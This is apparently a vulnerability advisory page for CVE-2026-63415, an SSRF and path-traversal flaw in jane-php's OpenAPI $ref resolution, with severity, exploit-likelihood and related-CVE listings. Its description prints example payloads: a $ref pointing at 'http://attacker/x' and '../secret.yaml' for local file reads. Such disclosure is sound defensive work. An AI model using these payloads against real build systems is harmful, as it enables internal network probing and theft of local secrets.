Packagist
CVE-2026-63415
Jane: $ref resolution performs SSRF + LFI (path traversal) at code-generation time (jane-php)
- Severity
- High
- Published
- 20 Nov 2026
- Last changed
- 20 Nov 2026
- Added to UpHeron
- 23 Nov 2026
- Fixed in
- 7.12.0
- Exploit chance
- 0.5% in the next 30 daysHigher than 44% of CVEs. EPSS by FIRST, 24 Nov 2026
- Weakness
- Path traversal (CWE-22)XML external entities (XXE) (CWE-611)Server-side request forgery (CWE-918)PHP file inclusion (CWE-98)
- Also known as
- GHSA-c3cj-3p6p-j822
- Sources
- OSV.dev and GitHub
Description
jane-php resolves external $ref targets at code-generation time via file_get_contents($ref) (jane-php/json-schema-runtime/Reference.php::doResolve) with no scheme/path restriction. An attacker-controlled OpenAPI document can therefore cause: $ref: 'http://attacker/x' -> SSRF (HTTP GET at gen time; response inlined = RFI); $ref: '/abs/file' -> LFI; $ref: '../secret.yaml' -> path-traversal LFI (CWE-22, arbitrary local JSON/YAML read). Verified 7.11.2/PHP8.1 (listener records the fetch; remote + ../ local content inlined into the generated code). file:// rejected. CWE-918/CWE-98/CWE-611/CWE-22.
Generating PHP with jane from an attacker-influenced OpenAPI document issues HTTP requests to attacker-chosen URLs (SSRF — internal services, cloud metadata) and reads arbitrary local files (LFI via ../), at build/CI time, inlining results into the output.
Affected software
| Software | Affected versions |
|---|---|
jane-php/open-api-3Packagist · osv:Packagist:jane-php/open-api-3 |
|
About jane-php/open-api-3
- Monthly downloads (Packagist)
- 77,019Packagist, 24 Nov 2026
- Total downloads (Packagist)
- 1,769,227Packagist, 24 Nov 2026
Vulnerabilities in jane-php/open-api-3
- In our list
- 4
- Published in the last 12 months
- 4
- Critical, last 12 months
- 3
- High, last 12 months
- 1
- Known exploited
- 0
- CVE-2026-63412Jane: Instantiation RCE via query parameter name -> raw PHPDoc */ breakout (jane-php/open-api-3)Critical 19 Nov 2026
- CVE-2026-63413Jane: Instantiation RCE via header parameter name -> raw PHPDoc */ breakout (jane-php/open-api-3)Critical 19 Nov 2026
- CVE-2026-63411Jane: Instantiation RCE via parameter description -> raw PHPDoc */ breakout (jane-php/open-api-3)Critical 19 Nov 2026
References
- CVE.org https://www.cve.org/CVERecord?id=CVE-2026-63415
- GitHub Advisory Database https://github.com/advisories/GHSA-c3cj-3p6p-j822